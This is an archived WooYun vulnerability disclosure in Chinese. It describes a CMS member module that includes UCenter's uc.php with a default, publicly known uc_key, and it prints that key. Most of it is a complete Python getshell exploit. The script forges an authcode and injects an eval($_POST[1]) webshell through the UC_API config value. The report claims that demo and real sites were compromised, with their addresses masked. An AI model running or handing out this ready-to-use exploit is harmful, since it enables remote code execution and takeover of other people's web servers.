乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-15: 细节已通知厂商并且等待厂商处理中 2015-09-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航) 2015-11-14: 细节向核心白帽子及相关领域专家公开 2015-11-24: 细节向普通白帽子公开 2015-12-04: 细节向实习白帽子公开 2015-12-19: 细节向公众公开
demo也shell了哦
看到\member\api\uc.php
define('DISCUZ_ROOT', dirname(dirname(dirname(__FILE__))).'/member/ucenter/');include DISCUZ_ROOT.'api/uc.php';
就是包含了uc的那个插件。但是这个功能只有高级版才有,免费版没有然后uckey都是默认的
8808cer8o1UJsEpt2G2Jn0uhEn/YgEva589Mfo0
然后就可以直接getshell了附上脚本
#! /usr/bin/env python#coding=utf-8import hashlibimport timeimport mathimport base64import urllibimport urllib2import sys def microtime(get_as_float = False) : if get_as_float: return time.time() else: return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''): ckey_length = 4 key = hashlib.md5(key).hexdigest() keya = hashlib.md5(key[0:16]).hexdigest() keyb = hashlib.md5(key[16:32]).hexdigest() keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:] #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() key_length = len(cryptkey) string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string string_length = len(string) result = '' box = range(0, 256) rndkey = dict() for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]) j=0 for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256 tmp = box[i] box[i] = box[j] box[j] = tmp a=0 j=0 for i in range(0,string_length): a = (a + 1) % 256 j = (j + box[a]) % 256 tmp = box[a] box[a] = box[j] box[j] = tmp result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])) return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host): ''' 发送命令获取webshell ''' headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url } tm = time.time()+10*3600 tm="time=%d&action=updateapps" %tm code = urllib.quote(get_authcode(tm,key)) url=url+"?code="+code data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[1]);//</item> </root>''' try: req=urllib2.Request(url,data=data1,headers=headers) ret=urllib2.urlopen(req) except: return "error" data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>''' try: req=urllib2.Request(url,data=data2,headers=headers) ret=urllib2.urlopen(req) except: return "error" return "webshell:"+host+"/member/ucenter/config.inc.php,password:1" if __name__ == '__main__': host=sys.argv[1] key=sys.argv[2] url=host+"/member/api/uc.php" print get_shell(url,key,host)
先来个demo的shell
http://**.**.**.**/member/ucenter/config.inc.php
然后再来几个案例
http://**.**.**.**//member/ucenter/config.inc.php
密码都是1
随机化key
危害等级:无影响厂商忽略
忽略时间:2015-12-19 10:14
漏洞Rank:4 (WooYun评价)
暂无